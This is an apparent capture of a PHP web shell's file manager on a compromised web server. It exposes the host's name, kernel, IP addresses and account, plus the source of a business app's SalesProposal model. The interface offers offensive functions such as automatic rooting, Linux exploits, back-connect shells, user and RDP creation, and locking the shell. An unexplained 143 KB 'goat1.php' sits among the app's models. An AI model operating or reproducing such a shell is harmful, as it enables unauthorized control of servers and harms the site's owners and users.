Linux server1.signalhg.team 4.18.0-553.134.1.el8_10.x86_64 #1 SMP Tue Jun 16 16:05:57 EDT 2026 x86_64
Apache
: 209.74.80.147 | : 216.73.217.138
150 Domain
8.1.34
signgwph
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
home /
signgwph /
signaltechdemo18.com /
app /
Models /
[ HOME SHELL ]
Name
Size
Permission
Action
.htaccess
127
B
-r--r--r--
AddOn.php
500
B
-rw-rw-r--
BankTransferPayment.php
765
B
-rw-rw-r--
ChFavorite.php
160
B
-rw-rw-r--
ChMessage.php
425
B
-rw-rw-r--
ChPinned.php
219
B
-rw-rw-r--
Coupon.php
1.29
KB
-rw-rw-r--
EmailTemplate.php
10.16
KB
-rw-rw-r--
EmailTemplateLang.php
308
B
-rw-rw-r--
HelpdeskCategory.php
633
B
-rw-rw-r--
HelpdeskReply.php
774
B
-rw-rw-r--
HelpdeskTicket.php
1.31
KB
-rw-rw-r--
LoginHistory.php
487
B
-rw-rw-r--
MediaDirectory.php
956
B
-rw-rw-r--
Notification.php
235
B
-rw-rw-r--
NotificationTemplateLang.php
331
B
-rw-rw-r--
Order.php
1.02
KB
-rw-rw-r--
Plan.php
1.6
KB
-rw-rw-r--
PurchaseInvoice.php
2.99
KB
-rw-rw-r--
PurchaseInvoiceItem.php
1.73
KB
-rw-rw-r--
PurchaseInvoiceItemTax.php
454
B
-rw-rw-r--
PurchaseReturn.php
2.38
KB
-rw-rw-r--
PurchaseReturnItem.php
2.02
KB
-rw-rw-r--
PurchaseReturnItemTax.php
452
B
-rw-rw-r--
SalesInvoice.php
2.94
KB
-rw-rw-r--
SalesInvoiceItem.php
1.74
KB
-rw-rw-r--
SalesInvoiceItemTax.php
448
B
-rw-rw-r--
SalesInvoiceReturn.php
2.28
KB
-rw-rw-r--
SalesInvoiceReturnItem.php
2.03
KB
-rw-rw-r--
SalesInvoiceReturnItemTax.php
460
B
-rw-rw-r--
SalesProposal.php
2.76
KB
-rw-rw-r--
SalesProposalItem.php
1.7
KB
-rw-rw-r--
SalesProposalItemTax.php
450
B
-rw-rw-r--
Setting.php
265
B
-rw-rw-r--
Transfer.php
818
B
-rw-rw-r--
User.php
10.92
KB
-rw-rw-r--
UserActiveModule.php
334
B
-rw-rw-r--
UserCoupon.php
640
B
-rw-rw-r--
Warehouse.php
503
B
-rw-rw-r--
goat1.php
143.87
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : SalesProposal.php
<?php namespace App\Models; use Illuminate\Database\Eloquent\Model; use Illuminate\Database\Eloquent\Relations\HasMany; use Illuminate\Database\Eloquent\Relations\BelongsTo; class SalesProposal extends Model { protected $fillable = [ 'proposal_number', 'proposal_date', 'due_date', 'customer_id', 'warehouse_id', 'payment_terms', 'subtotal', 'tax_amount', 'discount_amount', 'total_amount', 'status', 'converted_to_invoice', 'invoice_id', 'notes', 'creator_id', 'created_by' ]; protected $casts = [ 'proposal_date' => 'date', 'due_date' => 'date', 'subtotal' => 'decimal:2', 'tax_amount' => 'decimal:2', 'discount_amount' => 'decimal:2', 'total_amount' => 'decimal:2', 'converted_to_invoice' => 'boolean' ]; protected $appends = ['display_status']; public function items(): HasMany { return $this->hasMany(SalesProposalItem::class, 'proposal_id'); } public function customer(): BelongsTo { return $this->belongsTo(User::class, 'customer_id'); } public function warehouse(): BelongsTo { return $this->belongsTo(Warehouse::class, 'warehouse_id'); } public function customerDetails(): BelongsTo { return $this->belongsTo(\Workdo\Account\Models\Customer::class, 'customer_id', 'user_id'); } public function invoice(): BelongsTo { return $this->belongsTo(SalesInvoice::class, 'invoice_id'); } public function isOverdue(): bool { return $this->due_date < now() && !in_array($this->status, ['accepted', 'rejected']); } public function getDisplayStatusAttribute(): string { if ($this->isOverdue()) { return 'overdue'; } return $this->status; } protected static function boot() { parent::boot(); static::creating(function ($proposal) { if (empty($proposal->proposal_number)) { $proposal->proposal_number = static::generateProposalNumber(); } }); } public static function generateProposalNumber(): string { $year = date('Y'); $month = date('m'); $lastProposal = static::where('proposal_number', 'like', "SP-{$year}-{$month}-%") ->where('created_by', creatorId()) ->orderBy('proposal_number', 'desc') ->first(); if ($lastProposal) { $lastNumber = (int) substr($lastProposal->proposal_number, -3); $nextNumber = $lastNumber + 1; } else { $nextNumber = 1; } return "SP-{$year}-{$month}-" . str_pad($nextNumber, 3, '0', STR_PAD_LEFT); } }
Close